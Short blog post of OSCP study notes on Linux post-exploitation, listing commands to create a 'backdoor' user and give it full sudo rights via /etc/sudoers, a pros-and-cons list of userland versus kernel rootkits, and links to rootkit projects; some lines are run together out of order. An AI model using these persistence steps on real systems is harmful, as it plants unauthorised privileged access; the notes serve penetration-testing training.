OSCP - Linux Post Exploitation
Backdooring Linux
+ Adding a backdoor user (super visible to sysadmin)
Adding users
/usr/sbin/adduser backdoor+ Plant a rootkit (might make system unstable)
passwd backdoor
echo "backdoor ALL=(ALL) ALL" >> /etc/sudoers
Userland rootkits
- + more stable
- + more likely to remain planted after system updates
- - more visible
- - less control
Kernel rootkits
- + less visible
- + complete control
- - more unstable
- - more likely to cause problems with system updates
https://github.com/n1nj4sec/pupy
https://github.com/r00tkillah/HORSEPILL
http://r00tkit.me/
0 comments:
Post a Comment